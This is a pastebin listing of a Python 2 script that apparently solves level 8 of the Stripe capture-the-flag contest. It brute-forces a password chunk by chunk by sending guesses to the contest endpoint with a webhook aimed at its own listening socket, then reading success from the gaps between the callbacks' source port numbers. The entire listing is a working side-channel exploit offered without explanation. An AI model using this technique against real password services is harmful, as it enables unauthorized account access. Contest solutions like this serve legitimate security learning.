spacepaste

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import json
import socket
import urllib

ENDPOINT = 'https://level08-2.stripe-ctf.com/user-jskukszmwv/'
DELTA = 6

s = socket.socket()
s.bind(('', 10095))
s.listen(1)
lastport = None
for n in xrange(100):
        #password = ('%03d' % n) + '0' * 9
        password = '114356367%03d' % n
        print password
        data = json.dumps(dict(password=password, webhooks=["level02-2.stripe-ctf.com:10095"]))
        i = 0
        maybes = 0
        while True:
                urllib.urlopen(ENDPOINT, data=data)
                c, (host, port) = s.accept()
                if lastport is not None:
                        portdelta = port - lastport
                else:
                        portdelta = None

                print n, i, host, port, portdelta
                lastport = port

                c.close()
                i += 1

                if portdelta and portdelta <= DELTA:
                        if portdelta == DELTA - 1:
                                print "nope"
                                break

                        if portdelta == DELTA:
                                if maybes > 3:
                                        print "good enough for me: THIS MIGHT BE IT"
                                        break
                                maybes += 1